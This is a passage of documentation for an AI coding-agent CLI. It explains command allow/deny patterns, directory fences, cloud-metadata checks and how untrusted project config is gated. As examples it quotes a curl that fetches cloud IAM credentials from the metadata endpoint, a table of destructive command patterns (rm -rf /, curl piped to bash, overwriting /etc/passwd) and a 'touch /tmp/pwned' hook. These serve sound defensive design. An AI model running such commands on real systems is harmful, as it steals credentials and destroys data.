This is a separator rule, not a shell. A command reached through a variable, a shell alias, or an operator produced by expansion rather than typed is invisible to it. As always, prefer patterns that are as literal as you can stand.
A wildcard does not auto-approve a cloud-metadata fetch
169.254.169.254 and metadata.google.internal are the cloud instance-metadata endpoints. A
single curl to one of them returns IAM credentials. So on a plain glob, allow = ["curl *"],
which you write meaning "the * is the URL slot", also matches
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/: a credential fetch,
auto-approved for the whole session, from a pattern that looks like an ordinary HTTP allowance.
So in an allow pattern, a match is rejected when a wildcard reached a metadata host that the
pattern itself does not name. The command then falls through to the normal [y/N] prompt — it is
not refused, just not auto-approved.
| Pattern | Command | Result |
|---|---|---|
curl * | curl https://example.com/api | auto-approved — no metadata host |
curl * | curl http://169.254.169.254/latest/meta-data/ | prompts — AWS IMDS |
curl * | curl http://metadata.google.internal/computeMetadata/v1/ | prompts — GCP metadata |
cargo * | cargo test --lib | auto-approved — no metadata host |
curl http://169.254.169.254/* | the same IMDS fetch | auto-approved — the pattern names it |
curl * (as deny) | the same IMDS fetch | blocked, as before |
If you want the endpoint, name it in the pattern. A host the pattern itself contains is
always allowed, so allow = ["curl http://169.254.169.254/*"] auto-approves exactly what it
says. A wildcard-free pattern is untouched entirely — a literal you typed in full is your own
word.
The hosts checked are the canonical ones: 169.254.169.254 (AWS EC2 IMDS, and the same
link-local address Azure, DigitalOcean and OpenStack use), metadata.google.internal and
metadata.goog (GCP), 169.254.170.2 (AWS ECS task metadata) and 100.100.100.200 (Alibaba
Cloud).
Quoted regions are deliberately not ignored here, unlike the chain rule above. Quoting a
URL is the normal way to write one — curl "http://169.254.169.254/..." — so skipping quoted
text would blind the check on the commonest shape. The cost is that a command merely mentioning
the address, such as echo "169.254.169.254", also stops auto-approving. That is over-blocking,
which is the safe direction for an allow narrowing: the worst case is one confirmation prompt.
deny is unchanged, and deliberately so: narrowing an allow pattern removes privilege, but
narrowing a deny pattern would make a fence stop matching — it would fail open.
deny = ["curl *"] still blocks the metadata fetch.
This is a host rule, not egress control. If you approve the command it still runs, and the endpoint stays reachable by any tool the model is allowed to invoke. A command built through a variable, a shell alias, an IP written in decimal or octal form, or a redirect that resolves to the metadata address is invisible to it.
Deny overrides allow
If both an allow and deny pattern match the same command, deny wins:
# This allows all commands EXCEPT rm -rf
yoyo --allow "*" --deny "rm -rf *"
The command rm -rf /tmp matches * (allow) and rm -rf * (deny) — deny takes priority, so it's blocked.
Directory Restrictions: --allow-dir and --deny-dir
Restrict which directories yoyo's file tools can access:
yoyo --allow-dir ./src --allow-dir ./tests --deny-dir ~/.ssh
This affects read_file, write_file, edit_file, list_files, and search. For search and list_files the
fence covers the results as well as the path you pass: searching or listing an allowed root still withholds every
match or file inside a refused directory, and the result ends with a line saying how many were withheld. The
tool's own count ((N matches) / (N files)) is then re-counted to the results actually shown, so it agrees with
that line.
Your ripgrep config cannot reshape a fenced search: yoyo's search runs rg with --no-config and with
RIPGREP_CONFIG_PATH (and GREP_OPTIONS) removed from its environment (yoagent 0.25.5 and later), so there is
nothing to unset. As a second line of defence, while a fence is active any result line that does not name a file
under the searched path in the usual path:line: form (for example from an rg or grep wrapper on your PATH
that adds --no-filename, --null, --json or --path-separator) is dropped and counted in its own note.
The same fence applies to project instruction files (YOYO.md, CLAUDE.md, AGENTS.md, …) loaded into the
system prompt: a CLAUDE.md whose resolved target is denied (or outside every allowed directory) is not loaded,
and yoyo prints a warning naming it. The current goal (.yoyo/goal.md, set with /goal set) is fenced the same
way: if its resolved target is refused, it is left out of the system prompt and out of /goal check, with a
warning. Project memories (.yoyo/memory.json) get the same treatment: if the memory file's resolved target is
refused, no memories are added to the system prompt and yoyo prints a warning. (The REPL /memories and
/remember commands are not fenced yet. They show on your terminal or write to disk, and nothing they do is sent
to the model.)
Skill directories (--skills <dir>, .yoyo/skills/, ~/.yoyo/skills/ and the install dir) are fenced too: if
any skill's SKILL.md resolves to a refused location, that whole directory is not loaded (none of its skills are
offered to the model) and yoyo prints a warning naming the refused files. With --allow-dir, this includes your
user-level ~/.yoyo/skills/ when it lies outside every allowed directory, because read_file could not open those
skills anyway.
Files you name yourself (@path mentions, /add, /explain, --image) are fenced the same way: a file whose
resolved target is refused is not sent to the model, yoyo prints a warning naming it, and the rest of the prompt
still goes through.
Ask before reading outside the launch directory
In an interactive session (stdin is a terminal), read_file, search and list_files ask first when the path (read_file) or the root (search, list_files) resolves (symlinks followed) to somewhere outside the directory you launched yoyo in. In a non-interactive run (-p in a pipe, CI, any script with no terminal) the fence is off by default and those tools can reach any path, exactly as before: turned on there it could only refuse, never ask. The environment variable YOYO_ASK_OUTSIDE_READS overrides the default for either kind of run:
YOYO_ASK_OUTSIDE_READS=0 yoyo # never ask, even in a terminal
YOYO_ASK_OUTSIDE_READS=1 yoyo -p "..." # fence on with no terminal: outside reads are refused
Only the exact values 1 and 0 are recognised; anything else (including unset) takes the default above.
-
/cddoes not move that anchor: launching in~/projectand typing/cd ~does not make~/.ssh"inside". Navigating is not consent to read the new directory, so reads there ask (once per directory). Anything you already approved stays approved after/cd. -
If yoyo cannot tell where it was launched (the directory was deleted and the current directory cannot be read), it asks rather than allowing, and a relative path it cannot resolve is refused with a request for an absolute one.
-
In a terminal, yoyo asks
y/n. A yes covers that file's directory for the rest of the session, so three reads in/etcask once. It does not cover subdirectories. A no refuses only that call, and the next call there asks again. -
A
searchorlist_filesrooted at an outside directory asks about that directory, and a yes covers later searches and listings rooted at exactly that directory (both tools walk into subdirectories, so the prompt says so). It does not cover a root one level down, and a yes for reading files in a directory does not cover a recursive search of it: reading~/.bashrcmust not quietly grant a search that reaches~/.ssh. A root that is a file is treated likeread_fileof that file. No root means the current directory, and it is checked as that directory at the moment of the call: after/cd ~, a search or listing with no root asks about~(as a recursive search of it) instead of walking it. Without a/cdthe current directory is the launch directory, so nothing is asked. -
With no terminal (for example
-pin a pipe or CI) andYOYO_ASK_OUTSIDE_READS=1, the read is refused. The refusal names the path and tells the model how it can be allowed. Without that setting a run with no terminal is not fenced at all. -
A path that does not exist is not asked about.
read_filereports its own error. -
With
--allow-dirset, nothing is asked, because the directories you listed are your answer.
This fences the path argument of read_file, search and list_files, and it is not a sandbox. bash can still cat the same file, and writes (write_file, edit_file, rename_symbol) are not covered by it. For a hard boundary, use --allow-dir or --restricted.
Rules
- If
--allow-diris set, only paths under allowed directories are accessible. Everything else is blocked. - If
--deny-diris set, paths under denied directories are blocked. - Deny overrides allow — if a path is under both an allowed and a denied directory, it's blocked.
- Paths are resolved to absolute paths before checking, so
../traversal escapes are caught. - Symlinks are followed before matching, both for the path being checked and for each
--allow-dir/--deny-direntry: an entry that is a symlink matches at its target, including a dangling link whose target does not exist yet (soallow = ["./out"]without -> /somewhere/elseallows/somewhere/else, not a directory inside your repo). A path caught in a symlink loop is refused. - The repository map in the system prompt honours the same fence: a file under a
--deny-dir(or outside every--allow-dir, symlinks resolved) is omitted before its symbols are read, and yoyo prints how many files were omitted (a count, never the names). The project file listing in the prompt can still name such files; their contents stay out.
Example: lock yoyo to your project
yoyo --allow-dir . --deny-dir ./.git --deny-dir ~/.ssh
This lets yoyo read and write anywhere in the current project, but blocks access to .git internals and your SSH keys.
Config File
Instead of passing flags every time, put your permission rules in .yoyo.toml (project-level), ~/.yoyo.toml (home directory), or ~/.config/yoyo/config.toml (XDG):
[permissions]
allow = ["git *", "cargo *", "echo *"]
deny = ["rm -rf *", "sudo *"]
[directories]
allow = ["./src", "./tests"]
deny = ["~/.ssh", "/etc"]
Wildcards in [directories]
[directories] entries support * wildcards. An entry with no wildcard is
matched by prefix exactly as it always has been — the path itself, plus
everything beneath it. An entry that contains a * is matched as a path
pattern against each candidate path and its parent directories.
* matches any run of characters, including /, so a pattern covers
everything beneath whatever it matches:
[directories]
allow = ["src/*"]
deny = ["secrets/*"]
One worked example per direction:
allow = ["src/*"]permitssrc/main.rsandsrc/format/mod.rs, and still refuses/etc/passwd.deny = ["secrets/*"]blockssecrets/api/key.txtand leavessrc/main.rsalone.
Because * spans /, the wildcard does not have to be in the last component.
deny = ["*/secrets"] fences off every directory named secrets wherever it
sits — it blocks a/secrets/key.txt and a/secrets itself, while leaving
a/public/x alone.
?is not a wildcard here. yoyo's glob matcher implements*and nothing else, so a?in either block is a literal question mark. Use*.
The two blocks glob different subjects.
[permissions]patterns are globbed against commands (git *matchesgit status);[directories]patterns are globbed against paths. Same*, different thing on the other side of it. yoyo prints one informational note at startup naming any[directories]entry that carries a wildcard, so you can confirm it was read as a pattern rather than as a literal path.
You do not need a wildcard to cover a subtree: naming the directory itself
(src, not src/*) already covers everything beneath it. Reach for a pattern
when the directory's location varies, as in the examples above.
Precedence
CLI flags override config file values:
- If you pass any
--allowor--denyflag, the entire[permissions]section from the config file is ignored. - If you pass any
--allow-diror--deny-dirflag, the entire[directories]section from the config file is ignored. --yes/-yoverrides everything — all tools are auto-approved regardless of permission patterns.
Config file search order (first found wins):
.yoyo.tomlin the current directory~/.yoyo.tomlin your home directory~/.config/yoyo/config.toml
Persisting "Always" Approvals
When you answer "a" (always) to a confirmation prompt during a session, yoyo sets a session-wide auto-approve flag. It also offers to save the pattern to .yoyo.toml so the approval persists across sessions:
- Bash commands: yoyo simplifies the command into a glob (e.g.,
cargo test*) and asks if you'd like to save it. - File operations: yoyo generates a directory-based pattern (e.g.,
src/*for files undersrc/, or*.rsfor root-level Rust files) and offers to save it.
The save prompt only appears once per pattern per session — you won't be asked repeatedly for the same directory.
Practical Examples
Rust development — approve common tools
yoyo --allow "git *" --allow "cargo *" --allow "cat *" --allow "ls *"
Or in .yoyo.toml:
[permissions]
allow = ["git *", "cargo *", "cat *", "ls *", "echo *"]
deny = ["rm -rf *", "sudo *"]
Sandboxed CI — trust everything
yoyo -y -p "run the test suite and fix any failures"
Paranoid mode — restrict to source files only
yoyo --allow-dir ./src --allow-dir ./tests --deny "rm *" --deny "sudo *"
Read-only exploration
yoyo --deny "*" --allow "cat *" --allow "ls *" --allow "grep *" --allow-dir .
This denies all bash commands except read-only ones, and restricts file access to the current directory.
Built-in Command Safety Analysis
Beyond pattern matching, yoyo has a built-in safety analyzer that detects categories of dangerous commands and provides specific warnings. This runs automatically — you don't need to configure it.
Detected patterns include:
| Category | Examples |
|---|---|
| Filesystem destruction | rm -rf /, rm -rf ~ |
| Force git operations | git push --force, git reset --hard |
| Permission changes | chmod -R 777, chown -R on system dirs |
| File overwrites | > /etc/passwd, > ~/.bashrc |
| System commands | shutdown, reboot, halt |
| Database destruction | DROP TABLE, DROP DATABASE, TRUNCATE TABLE |
| Pipe from internet | curl ... | bash, wget ... | sh |
| Process killing | kill -9 1, killall |
| Disk operations | dd if=, fdisk, parted, mkfs |
When a dangerous pattern is detected, yoyo shows a warning explaining why the command is flagged before asking for confirmation. A handful of truly catastrophic patterns (like rm -rf / or fork bombs) are hard-blocked and can never execute, even with --yes.
When bash refuses a command (a hard block, your deny list, a sub-agent that would need your confirmation, a git redirection out of a pinned worktree, or you answering no), the model gets the refusal text exactly as written. yoyo does not add a "try a simpler version" recovery hint, and it does not re-run the whole prompt automatically, because running it again would hit the same refusal.
Safe commands like ls, cargo test, git status, and grep pass through without triggering any warnings.
Project-local config is not trusted to start processes or grant approval
A .yoyo.toml sitting in the directory you launch yoyo from ships with the repository, not
with you. It can name arbitrary local commands under mcp = [...] or [mcp_servers.*], and
before yoyo would start them during normal startup — no prompt, no display of what was about
to run. It can also widen what bash commands run without asking, via [permissions] allow.
Since issue #748, MCP servers declared by a project-local .yoyo.toml are not started by
default. When yoyo drops them it prints one block on stderr naming the resolved command of
each server it refused, so you can see exactly what the repo proposed:
⚠ A project-local .yoyo.toml asked to start 1 MCP server. yoyo did not start it:
npx -y @some/mcp-server
This config came with the project, not from you. Re-run with --trust-project to start them,
or use --safe-mode to disable all project customizations.
Since issue #749, [permissions] allow patterns declared by a project-local .yoyo.toml
are not applied either. Those patterns grant auto-approval — a repo shipping
allow = ["curl *"] would otherwise make those commands run without ever asking you, and the
effect is invisible until a command silently executes. The refusal is announced the same way,
naming every pattern it dropped:
⚠ A project-local .yoyo.toml asked to auto-approve 2 bash command patterns. yoyo did not apply them:
curl *
rm *
This config came with the project, not from you. Re-run with --trust-project to apply them,
or use --safe-mode to disable all project customizations.
Its deny patterns and directory restrictions are still in force — those only reduce access.
Since Day 184, a notify_command declared by a project-local .yoyo.toml is not installed
either. That key is handed to sh -c (cmd /C on Windows) when a prompt finishes, so its
entire content is executable code — the same test that gates shell hooks. Note that
--no-notify does not cover it: that flag gates the desktop-notification branch, not the
command. The refusal names the command verbatim, in the shape it has in the file:
⚠ A project-local .yoyo.toml asked to run a shell command when a prompt finishes. yoyo did not run it:
notify_command = touch /tmp/pwned
This config came with the project, not from you. Nothing was executed.
Re-run with --trust-project to run it this session, or use --safe-mode to disable
all project customizations.
To opt in for that run:
yoyo --trust-project
Remembering a directory you trust
--trust-project applies to one run. If you genuinely trust a repository you would
otherwise retype it on every invocation, which is the pressure that turns into a shell alias —
i.e. back to the unsafe default, by habit. --trust-project-always does the same thing for
this run and records the directory so later runs there need no flag:
yoyo --trust-project-always
✓ Trusting this directory from now on: /home/me/proj
Recorded in /home/me/.config/yoyo/trusted_dirs. Remove that line to revoke.
Project-local .yoyo.toml MCP servers, permissions.allow and shell hooks will run here without a flag.
The store is a plain text file, one absolute directory path per line, at
$XDG_CONFIG_HOME/yoyo/trusted_dirs (or ~/.config/yoyo/trusted_dirs). Four properties are
worth knowing before you use it:
- It is user-level, never project-level. yoyo does not look for a
trusted_dirsfile inside the repository, so a repository can never trust itself — the same reason a project-local.yoyo.tomlcannot grant its own MCP servers permission to start. - Exact directory match only — there is no subdirectory inheritance. Trusting
/home/me/projdoes not trust/home/me/proj/vendor/anything, and does not trust/home/me/proj-other. Each directory you want trusted has to be recorded on its own. - Paths are stored canonicalized, so
.,..and a symlinked checkout cannot present as a path different from the one you trusted. If the directory cannot be resolved to a real path, yoyo refuses rather than falling back to the raw string — "could not check" must not read as "trusted". - Every run that is trusted by the store says so. You should never discover that a
project's MCP servers,
[permissions] allowand shell hooks are live because of a decision you made weeks ago and cannot see:
⚠ This directory is trusted by a previous --trust-project-always: /home/me/proj
Listed in /home/me/.config/yoyo/trusted_dirs; remove that line to revoke.
Project-local .yoyo.toml MCP servers, permissions.allow and shell hooks are live this run.
There is deliberately no un-trust flag: revoking is deleting the line from that file, and
both messages above name its full path so you can find it. Both are informational stderr
output — they are silent under --quiet and print without glyphs under --screen-reader.
Only privilege-granting fields, and fields that are executable code, are gated
The gate is not a symmetric distrust of everything the project says about permissions. Each field is sorted by which direction it moves privilege, and only the granting one is refused:
| Field from a project-local config | Direction | Decision |
|---|---|---|
[permissions] allow | Grants privilege — auto-approves bash commands | Refused unless --trust-project |
notify_command | Is executable code — handed to sh -c when a prompt finishes | Refused unless --trust-project |
[permissions] deny | Reduces privilege — always blocks | Kept verbatim |
[directories] allow (dir_restrictions.allow) | Reduces privilege — the default is unrestricted, so an allow-list can only narrow | Kept verbatim |
[directories] deny (dir_restrictions.deny) | Reduces privilege | Kept verbatim |
Refusing a project's deny or directory restrictions would make yoyo less confined than
the repo asked for — that would be a regression dressed as a security fix. A repo is always
allowed to restrict yoyo further; it is not allowed to loosen it.
The boundary is deliberately narrow:
| Source | Started / applied by default? |
|---|---|
--mcp <command>, --allow, --deny typed on the command line | Yes — you typed it |
~/.yoyo.toml or the XDG config | Yes — you authored it |
./.yoyo.toml in the working directory — MCP servers, [permissions] allow, shell hooks and notify_command | No — needs --trust-project, or this exact directory recorded by --trust-project-always |
./.yoyo.toml — [permissions] deny and [directories] | Yes — they only reduce access |
Any of the above under --safe-mode | No — safe mode disables all customizations |
If your cwd is your home directory, ~/.yoyo.toml reached as ./.yoyo.toml still counts as
your own config and is not gated.
What this does not cover yet. There is no interactive "do you trust this folder?" prompt —
trust is granted by a flag you type, never by a question yoyo asks, so in a script or a
non-interactive run the answer is always the safe one. Recording a directory is therefore
something you do on purpose with --trust-project-always, and it applies to that exact
directory only. Use --safe-mode if you want none of a project's config applied. The prompt
is tracked in issue #749.
Summary
| Mechanism | Scope | Effect |
|---|---|---|
| Default prompts | All modifying tools | Ask [y/N] before each call |
--yes / -y | Everything | Auto-approve all tools |
--allow <pattern> | Bash commands | Auto-approve matching commands |
--deny <pattern> | Bash commands | Auto-reject matching commands |
--allow-dir <dir> | File tools | Only allow paths under these dirs |
--deny-dir <dir> | File tools | Block paths under these dirs |
[permissions] in config | Bash commands | Same as --allow/--deny (project-local allow needs --trust-project) |
[directories] in config | File tools | Same as --allow-dir/--deny-dir |
| "Always" persistence | Bash + file tools | Offers to save patterns to .yoyo.toml on "always" |
| Project-config trust | MCP servers and [permissions] allow from ./.yoyo.toml | Not started/applied unless --trust-project, or the directory was recorded by --trust-project-always |
--trust-project-always | This directory | Records the canonicalized cwd in ~/.config/yoyo/trusted_dirs; exact match only, no subdirectory inheritance; revoke by deleting the line |
Tip: Use
/permissionsduring a session to see the full security posture — auto-approve status, command patterns, and directory restrictions all in one view.
After /cd
/cd applies three parts of the new directory's .yoyo.toml, all of which only narrow what yoyo may do:
- its
[permissions] denypatterns are added to the session's deny list and enforced on bash commands (the agent's and sub-agents'). File tools never read them. - its
[directories] denyentries are refused by the file tools (the agent's and sub-agents') and by the doors that put a file you name into your prompt:@pathmentions,/add,/explainand--image, and by/goal checkwhen it reads the goal file. A refusal from these doors ends with(a [directories] entry applied by /cd), so you can tell it from a startup--deny-dirrefusal. A relative entry such assecretsis resolved against the directory you/cd'd into, at that moment, so it keeps meaning<that dir>/secretsafter a later/cd. They apply even when--allow-dir/--deny-dirwas given at startup, and bash never reads them. - its
[directories] allowentries become a second fence for the same file tools and doors: a path must be inside one of them and pass the startup--allow-dirlist, and unlike the deny lists this one is replaced by the next/cd(a directory without it removes it), because two unrelated projects' allow lists would together refuse almost everything.
/permissions lists them all: each /cd-added entry appears under the matching deny heading, labelled (a deny entry applied by /cd) or (a [directories] entry applied by /cd), and each /cd allow entry appears under Allowed directories, labelled (an allow entry applied by /cd; also required, replaced by the next /cd).
/cd also narrows the launch project's own grants. If you started yoyo in a trusted project whose .yoyo.toml has [permissions] allow = ["cargo *"], those patterns were written for that project's tree. Once you /cd outside it, they stop auto-approving: cargo build in the other directory asks first, /cd prints a line naming the suspended patterns, and /permissions lists them under Suspended allow patterns instead of Allow patterns. Two exceptions: a pattern your own config (~/.yoyo.toml or ~/.config/yoyo/config.toml) also lists keeps applying, and --allow flags are never suspended, because both are yours rather than the project's. /cd back into the launch directory, or any directory below it, and they apply again.
The deny lists last for the rest of the session and only grow: /cd-ing back does not remove anything. Everything else in the new directory's config ([permissions] allow, hooks, MCP servers, skills) is still not reloaded. yoyo prints a warning naming the .yoyo.toml parts it skipped ([permissions] allow, hooks, MCP servers). It does not mention a .yoyo/skills/ directory, which is not loaded either. Restart yoyo in that directory to use them (#1040).
What /cd does with the four settings that would widen what yoyo may do, whether or not the new directory is in your trust store (trusted_dirs):
| Setting in the new directory | Untrusted | Trusted | Why |
|---|---|---|---|
hooks (hooks.pre.*, hooks.post.*, ...) | not applied | not applied | Untrusted: a hook runs a command the project wrote, a mid-session /cd gives you no moment to consent, and startup refuses it for an untrusted project. Trusted: you have consented, but this version cannot load it mid-session (#1040). Restart yoyo there. |
[permissions] allow | not applied | not applied | Untrusted: it would run commands without asking you. Startup refuses it for an untrusted project. Trusted: not loaded mid-session in this version (#1040). |
| MCP servers | not started | not started | Untrusted: a server is a program the project chose, and startup refuses it for an untrusted project. Trusted: not started mid-session in this version (#1040). |
.yoyo/skills/ | not loaded | not loaded | Untrusted: a skill puts instructions the project wrote into the model's context. Startup refuses it for an untrusted project. Trusted: not loaded mid-session in this version (#1040). |
The launch project's MCP servers stay connected after /cd, by decision, wherever you go and whatever the trust answer there is. You approved them when yoyo started, their tools are already in the model's tool list, and yoyo cannot drop one MCP connection mid-session without rebuilding the agent, which drops every connection at once. This differs from the launch project's [permissions] allow and hooks, which pause outside its tree: those are checked each time they would apply, while a server's tools are a fixed part of the session. /mcp keeps listing them as connected, and they are, so restart yoyo elsewhere if you do not want them there. A new directory's own servers are a different matter (see the table above and #1040). Measured on Day 231 with a stub MCP server launched from a trusted project: the same server process stayed alive, and its tool was still in the tool list sent with the next prompt, after /cd into an untrusted directory and again after /cd back.
When the trust answer changes on /cd, yoyo prints Project trust is now ON (or OFF). That answer does not load anything in the table above. It does decide whether the new directory's .yoyo/goal_verify.md runs, because /goal check reads that file from the current directory when it runs. /cd back into the directory whose .yoyo.toml yoyo loaded at startup prints no such warning, because that file is the one in force. It also adds nothing to the /cd lists for entries that file already enforces from startup, so /permissions does not show its deny patterns twice. If startup did not enforce one (a --deny or --deny-dir flag replaced the file's list, or you edited the file since), that entry is applied and announced as for any other directory. The launch project's own shell hooks pause while you are outside its tree, like its [permissions] allow, and fire again when you /cd back under it; hooks from your user-level config are unaffected. /rename (and the model's rename_symbol tool) also honour the /cd-added [directories] deny entries, and so does the REPL's auto-context, which never attaches a denied file to the model's prompt. The project-instruction-file loader honours them too: /spawn re-reads the instruction files (CLAUDE.md, AGENTS.md, …) from the current directory when it runs, and after a /cd a file the new directory's [directories] lists refuse is left out of the sub-agent's prompt with a warning. /context lists such a file as refused by the directory fence instead of as loaded, and /doctor leaves it out of its project-context row. Skill loading still uses only the startup [directories] fence; it runs at startup, before any /cd (reloading skills after /cd is #1040). /map uses no fence at all, by design: it shows a sketch to you, not to the model.
Session Persistence
yoyo can save and load conversations, letting you resume where you left off.
Auto-save on exit
yoyo automatically saves your conversation to .yoyo/last-session.json every time you exit the REPL — whether via /quit, /exit, Ctrl-D, or even unexpected termination. No flags needed.
If a previous session is detected on startup, yoyo prints a hint:
💡 Previous session found. Use --continue or /load .yoyo/last-session.json to resume.
Resuming with --continue
The --continue (or -c) flag restores the last auto-saved session:
yoyo --continue
yoyo -c
--continue-strict behaves like --continue, but if the session file is missing or can't be parsed it prints error: --continue-strict: could not restore <path>: <reason> and exits 1 before any model call. Plain --continue only warns and starts a fresh conversation (exit 0), so scripts that need to know a run really continued should use the strict flag. With --output-format stream-json, a successful restore also emits {"type":"sessionRestored","messages":N} as the line right after the first agentStart. It is absent when nothing was restored (see piped mode).
--save-session <path> makes a non-interactive run (-p or piped stdin) write its session to <path> when it finishes — even if the turn failed — in the same format /save uses, so /load <path> resumes it. The parent directory must already exist; if the write fails yoyo prints error: --save-session: could not write <path>: <reason> and exits non-zero.
When --continue is used:
- On startup, yoyo loads from
.yoyo/last-session.json(preferred) oryoyo-session.json(legacy fallback) - On exit, the conversation is auto-saved as usual
$ yoyo -c
📋 resumed session (8 messages, 5 tool calls)
last prompt: "Can you fix the test failures in commands_map.rs?"
last reply: "I found 3 failing tests. The issue was..."
main > what were we working on?
Manual save/load
Save the current conversation:
/save
This writes to yoyo-session.json in the current directory.
Save to a custom path:
/save my-session.json
Load a conversation:
/load
/load my-session.json
/load .yoyo/last-session.json
Session format
Sessions are stored as JSON files containing the conversation message history. The format is determined by the yoagent library.
The /todo list travels with the session
The /todo list is session state, so it is saved and restored with the conversation. Every save path (/save, auto-save on exit, --save-session) writes the list to a sibling file named after the session with a .todos.json extension: .yoyo/last-session.json gets .yoyo/last-session.todos.json, and yoyo-session.json gets yoyo-session.todos.json. Every resume path (/load, --continue) reads it back, with the same IDs, descriptions and statuses.
- Loading a session replaces the current list. A session saved before this existed, or saved with an empty list, has no sibling file and resumes with an empty list.
- Saving with an empty list writes no sibling file and removes a stale one left at the same path, so old items can't come back.
- If the sibling file can't be read or parsed, the resume still succeeds: yoyo prints one warning on stderr and starts with an empty list.
/todo boardtasks are files undersession_plan/and are not part of this; only the session list is.
Error handling
- If no previous session exists when using
--continue, yoyo prints a message and starts fresh - If a session file is corrupt or can't be parsed, yoyo warns you and starts fresh
- Empty conversations (no messages exchanged) are not auto-saved
- Save errors are reported but don't crash yoyo
Context Management
Claude models have a finite context window (200,000 tokens). As your conversation grows, it fills up. yoyo helps you manage this.
Checking context usage
Use /tokens to see how full your context window is:
/tokens
Output:
Active context:
messages: 24
current: 85.2k / 200.0k tokens
████████░░░░░░░░░░░░ 43%
Session totals (all API calls):
input: 120.5k tokens
output: 45.2k tokens
cache read: 30.0k tokens
cache write: 15.0k tokens
est. cost: $0.892
When the context window exceeds 75%, you'll see a warning:
⚠ Context is getting full. Consider /clear or /compact.
Manual compaction
Use /compact to compress the conversation:
/compact
This summarizes older messages while preserving recent context. You'll see what survived:
compacted: 24 → 8 messages, ~85.2k → ~32.1k tokens
📋 Still in context: src/main.rs, src/tools.rs, auth refactor (2 files, 1 topic)
The context summary shows which files and topics are still present after compaction, so you can trust that important context wasn't lost.
Previewing compaction
Not sure if you should compact? Use --preview to see what would happen without changing anything:
/compact --preview
This shows estimated token savings, which messages would be compressed, files touched, and topics in the conversation — all read-only.
Auto-compaction
When the context window exceeds 80% capacity, yoyo automatically compacts the conversation. You'll see:
⚡ auto-compacted: 30 → 10 messages, ~165.0k → ~62.0k tokens
This happens transparently after each prompt response. You don't need to do anything — yoyo handles it.
Clearing the conversation
If you want to start completely fresh:
/clear
This removes all messages and resets the conversation. Unlike /compact, nothing is preserved.
Tips
- For long sessions, use
/tokensperiodically to monitor usage - If you notice the agent losing track of earlier context, try
/compact - Starting a new task? Use
/clearto avoid confusing the agent with unrelated history
Checkpoint-restart strategy
For automated pipelines (like CI scripts), compaction can be lossy. The --context-strategy checkpoint flag provides an alternative: when context usage exceeds 70%, yoyo stops the agent loop and exits with code 2.
yoyo --context-strategy checkpoint -p "do some long task"
# Exit code 2 means "context was getting full — restart me"
The calling script can then restart yoyo with fresh context. This is useful for multi-phase pipelines where a structured restart produces better results than lossy compaction.
The default strategy is compaction, which uses auto-compaction as described above.
Git Integration
yoyo is git-aware. It shows your current branch and provides commands for common git operations.
Branch display
When you're in a git repository, the REPL prompt shows the current branch:
main > _
feature/new-parser > _
On startup, the branch is also shown in the status information:
git: main
Git commands
/diff
Show a summary of uncommitted changes (equivalent to git diff --stat):
/diff
Output:
src/main.rs | 15 +++++++++------
README.md | 3 +++
2 files changed, 12 insertions(+), 6 deletions(-)
If there are no uncommitted changes:
(no uncommitted changes)
/git diff
Show the actual diff content (line-by-line changes), not just a summary:
/git diff
Shows unstaged changes. To see staged changes instead:
/git diff --cached
/git branch
List all branches, with the current branch highlighted in green:
/git branch
Create and switch to a new branch:
/git branch feature/my-new-feature
/blame
Show who last modified each line of a file, with colorized output:
/blame src/main.rs
Limit to a specific line range:
/blame src/main.rs:10-20
Output is colorized: commit hashes (dim), author names (cyan), dates (dim), line numbers (yellow).
/undo
Revert all uncommitted changes. This is equivalent to git checkout -- .:
/undo
Before reverting, /undo shows you what will be undone:
src/main.rs | 15 +++++++++------
1 file changed, 9 insertions(+), 6 deletions(-)
✓ reverted all uncommitted changes
If there's nothing to undo:
(nothing to undo — no uncommitted changes)
Using git through the agent
yoyo's bash tool can run any git command. You can ask the agent directly:
> commit these changes with message "fix: handle empty input"
> show me the last 5 commits
> create a new branch called feature/parser
The agent has full access to git through its shell tool.
Cost Tracking
yoyo estimates the cost of each interaction so you can monitor spending.
Per-turn costs
After each response, you'll see a compact token summary:
↳ 3.2s · 1523→842 tokens · $0.0234
With --verbose (or -v), you get the full breakdown:
tokens: 1523 in / 842 out [cache: 1000 read, 500 write] (session: 4200 in / 2100 out) cost: $0.0234 total: $0.0567 ⏱ 3.2s
- cost — estimated cost for this turn
- total — estimated cumulative cost for the session
Quick cost check
Use /cost for a quick overview with a breakdown by cost category:
Session cost: $0.0567
4.2k in / 2.1k out
cache: 1.0k read / 500 write
Breakdown:
input: $0.0126
output: $0.0315
cache write: $0.0031
cache read: $0.0005
Detailed breakdown
Use /tokens to see a full breakdown including cache usage:
Session totals:
input: 120.5k tokens
output: 45.2k tokens
cache read: 30.0k tokens
cache write: 15.0k tokens
est. cost: $0.892
Supported models
Costs are estimated based on published pricing for all major providers:
Anthropic
Fleet models (Fable 5, Fable 5.1, Opus 5, Opus 5.5, Opus 4.8, Sonnet 5, Haiku 4.5) read their pricing directly from yoagent's model presets at runtime, so their rows below are informational — the preset is the source of truth. Until Day 222 (#1003) Opus 5.5 and Fable 5.1 were matched by their older sibling's preset and priced as Opus 5 ($5 / $25) and Fable 5 ($1 cache read); each now gets its own. Sonnet 5.5 has no yoagent preset either; until Day 224 it was priced as Sonnet 5 ($0.20 cache read). yoyo now carries its own arm (Sonnet 5's window and limits, $0.10 cache read, from the models.dev catalogue).
| Model | Input | Cache Write | Cache Read | Output |
|---|---|---|---|---|
| Fable 5 | $10/MTok | $12.50/MTok | $1/MTok | $50/MTok |
| Fable 5.1 | $10/MTok | $12.50/MTok | $0.25/MTok | $50/MTok |
| Opus 5.5 | $4/MTok | $5/MTok | $0.20/MTok | $20/MTok |
| Opus 4.8 | $5/MTok | $6.25/MTok | $0.50/MTok | $25/MTok |
| Sonnet 5 | $2/MTok | $2.50/MTok | $0.20/MTok | $10/MTok |
| Sonnet 5.5 | $2/MTok | $2.50/MTok | $0.10/MTok | $10/MTok |
| Opus 4.5/4.6 | $5/MTok | $6.25/MTok | $0.50/MTok | $25/MTok |
| Opus 4/4.1 | $15/MTok | $18.75/MTok | $1.50/MTok | $75/MTok |
| Sonnet | $3/MTok | $3.75/MTok | $0.30/MTok | $15/MTok |
| Haiku 4.5 | $1/MTok | $1.25/MTok | $0.10/MTok | $5/MTok |
| Haiku 5.5 | $0.10/MTok | $0.125/MTok | $0.01/MTok | $0.50/MTok |
| Haiku 3.5 | $0.80/MTok | $1/MTok | $0.08/MTok | $4/MTok |
Haiku 5.5 is not yet a yoagent preset, so yoyo carries its own (1M context,
